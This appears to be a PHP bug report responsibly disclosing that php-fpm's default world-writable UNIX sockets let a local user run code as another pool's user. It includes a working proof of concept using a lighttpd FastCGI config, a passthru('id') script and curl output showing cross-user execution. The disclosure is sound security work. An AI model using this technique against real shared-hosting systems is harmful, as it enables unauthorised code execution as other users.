Description: ------------ Both default config [1] and compiled-in defaults [2] of sapi/fpm lead to configurations which easily allow any user with rights to connect to a UNIX socket to run arbitrary code with the permissions of the fpm user. I agree that similar problems are to be expected when using TCP sockets, but as soon as an admin chooses to set the listen.user/listen.group options, it is expected that these restrictions are effective somehow (which they are not). A typical scenario for this issue: - shared hosting environment with multiple fpm pools, running with different permissions (user1, user2, ...) - user1 can easily run code as user2 by pretending to be a FastCGI client and connecting to (e.g.) /var/run/php-fpm.user1.sock Other scenarios are possible as well. This is not a hypothetical issue, Ubuntu 14.04 allows running arbitrary code as the "www-data" user. I will file an Ubuntu bug for this shortly as well. Current git (ca447a8f6f65be565301350e27e0f6a57369a0f9) is affected, but earlier versions are probably affected, too. Regarding the handling of this issue: I suspect that this issue is of different severity for you and for distros shipping with insecure default configs. Would it be possible to keep this issue private and have no code committed yet, but to notify distros@openwall.org once a patch is ready? Please let me know whether you are ok with this and whether you want me to handle distros@ contact. [1] https://github.com/php/php-src/blob/php-5.5.11/sapi/fpm/php-fpm.conf.in#L172 [2] https://github.com/php/php-src/blob/php-5.5.11/sapi/fpm/fpm/fpm_unix.c#L31 Test script: --------------- php-fpm.conf ------------ [global] error_log = /tmp/php-fpm-vuln/php-fpm-error.log [www] user = user1 group = user1 listen = /tmp/php-fpm-vuln/sock pm = dynamic pm.max_children = 5 pm.start_servers = 2 pm.min_spare_servers = 1 pm.max_spare_servers = 3 $ sudo ./php-fpm -y php-fpm.conf $ ls -l /tmp/php-fpm-vuln/sock srw-rw-rw- 1 root root 0 Apr 12 12:49 sock The issue should be obvious by now, but exploiting it is trivial as well, just point some FastCGI client at the socket. For quick testing I used lighty: user2@localhost:/tmp/lighty$ cat > lighttpd.conf server.modules = ( "mod_fastcgi" ) fastcgi.server = ( ".php" => ( "" => ( "socket" => "/tmp/php-fpm-vuln/sock", "check-local" => "enable" ) ) ) server.port = 8000 server.document-root = "/tmp/lighty" user2@localhost:/tmp/lighty$ vim lighttpd.conf user2@localhost:/tmp/lighty$ echo '<?php passthru("id");' > id.php user2@localhost:/tmp/lighty$ lighttpd -f lighttpd.conf user2@localhost:/tmp/lighty$ curl http://localhost:8000/id.php uid=1001(user1) gid=1001(user1) groups=1001(user1) Expected result: ---------------- Sockets should be created with sane default permissions (0660). Default config should suggest sane default permissions (0660). The PoC should return some error code (depending on the FastCGI client; in my case: 503 Service unavailable) once this is fixed. Actual result: -------------- $ ls -l /tmp/php-fpm-vuln/sock srw-rw-rw- 1 root root 0 Apr 12 12:49 sock user2 can run code with the permissions of user1.